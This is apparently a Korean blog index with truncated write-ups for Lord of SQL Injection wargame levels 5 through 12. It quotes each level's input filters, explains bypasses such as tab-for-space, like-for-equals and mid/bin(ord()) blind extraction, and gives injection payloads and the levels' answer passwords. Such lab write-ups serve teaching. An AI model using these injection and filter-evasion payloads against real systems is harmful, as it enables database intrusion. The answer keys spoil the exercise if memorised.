전체 글
-
LOS - darknight / level 12문제 풀이/Lord Of SQL 2024. 6. 24. 18:39
문제풀이 과정 if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe"); pw 에 싱글쿼터를 / no에 싱글쿼터와 substr ascii = 을 필터링 함을 알 수있다substr과 ascii는 mid / bin(ord())로 우회한다 lpad를 통해 8자리로 고정을 시킨 후 비트 마스킹을 진행 mid(lpad(bin(ord(mid(pw,1,1))), 8,0) ,1,1) = "1" 정답더보기?pw=0b70ea1f코드import reque..
-
LOS - golem / level 11문제 풀이/Lord Of SQL 2024. 6. 24. 17:09
문제풀이 방법 if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe"); pw에 or / and / substr( / = 을 필터링 중이다or => ||and => &26&26substr( => right(left(pw,1),1) or mid(pw,1,1)= => like문으로 우회한다 정답더보기?pw=77d6290b 코드이번에는 bit masking이 아닌 일반 brute force로 작성된 코드이다.import requestsurl = "input your url"cookie = {input your cookie}user..
-
LOS - skeleton / level 10문제 풀이/Lord Of SQL 2024. 6. 23. 19:31
문제풀이 과정if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0"; 필터링이 db공격 구문 외에는 존재하지 않음 따라서 뒤에 오는 and 1=0만 주석처리 해주면 된다 정답더보기?pw=%27%20or%20id=%27admin%27%23
-
LOS - orge / level 7문제 풀이/Lord Of SQL 2024. 6. 23. 19:14
문제풀이 과정if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); pw의 값에 or / and를 필터링 하는 것을 볼 수 있다 또한 admin의 진짜 pw값을 넣으면 문제가 풀린다 이를 통해 blind sql injection을 수행한다정답더보기?pw=7b751aec활용 코드python requests를 이용하여 코드를 작성하여 문제를 해결하였다 import requestsurl = "input your url" #cookie = {input your cookie} #user = 'input find user' # def change_bi..
-
LOS - wolfman / level 5문제 풀이/Lord Of SQL 2024. 6. 23. 17:38
문제 풀이 과정if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~"); pw의 값 중, 공백을 필터링 하는 것으로 보인다. %09 => tab%0b / %0a => 특수 문자이지만 mysql에서 받아 들일 수 없으므로 공백으로 취급 정답더보기?pw=%27%09or%09id=%27admin%27%23